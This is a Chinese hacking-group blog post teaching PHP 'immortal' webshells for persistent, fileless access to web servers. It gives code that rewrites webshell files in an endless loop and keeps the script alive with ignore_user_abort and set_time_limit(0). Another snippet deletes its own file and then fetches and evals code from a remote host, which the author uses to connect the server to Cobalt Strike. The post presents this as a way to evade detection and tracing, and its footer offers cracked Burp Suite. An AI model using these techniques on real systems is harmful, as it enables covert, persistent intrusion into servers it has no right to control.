大家在渗透测试中,碰到java的程序,都会打上一个内存马
但是在php的程序中很少有这种webshell/维持方式,/无主文件落地的方式
接下来就让小编带你聊聊,php中不死马的权限维持,其实早在之前比较火
0x01 PHp - 不死马(内存马)
在实战当中,现在很少有人用不死马了,其实可以有效的去用来做一些防护的绕过。也加大了一些溯源的难度,和宿主检测webshell的难度
第一种,是把木马通过写入的方式一直不停的去写入相关的文件(弊端需要一直请求该地址)
下面是比较简单的代码
<?php $file = fopen("test.php", "w"); //打开一个文件 $txt = "<?php phpinfo();?>\n"; fwrite($file, $txt); //写入一个文件 fclose($file); ?>
当我们去访问这个php文件的时候,会生成一个 test.php的文件,当然也可以添加一个while循环,if判断
第二种,在第一种的基础上增加 几个函数,由php-fgi进程,去运行,达到无主文件落地的一个运行方式
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
代码如下
看完上面两种方式,是不是都存在一个弊端,就是还是有文件落地,我们可以不可以做到无文件的落地,答案是肯定可以的
unlink(__FILE__) //删除文件本身
ignore_user_abort(true); //与客户端的长连接
file_get_contents //把文件读入一个字符串
我们在第二种方式的前提下,进行 语句变种,修改里面文件 代码即可
我们来组装配合下
首先 测试2.php 的dome,这样是成功的,目的是包含远程的txt文件,然后在用eval去执行,有的小伙伴肯定好奇,这样的免杀效果为0,php的免杀对于大家来说应该问题不大吧
$remote_file = 'http://192.168.3.114:81/test.txt';
$code = file_get_contents($remote_file);
eval($code);
相信大家已经猜测到了什么,我们把如上代码修改,放入第二种方法中,我这边直接powershell 上线 cs
“不死马” 的缺点,如果容器,服务重启,将会断开
关注黑客街,回复 burp 即可 获取 最新版破解burp

如果您觉得该文章有用,请记得点赞和转发哟。
您的阅读和转发 希望都可以让身边的朋友能够共同成长
谢谢大家关注黑客街安全团队
觉得不错点个“赞”、“在看”,支持下小编
相关文章
暂无评论...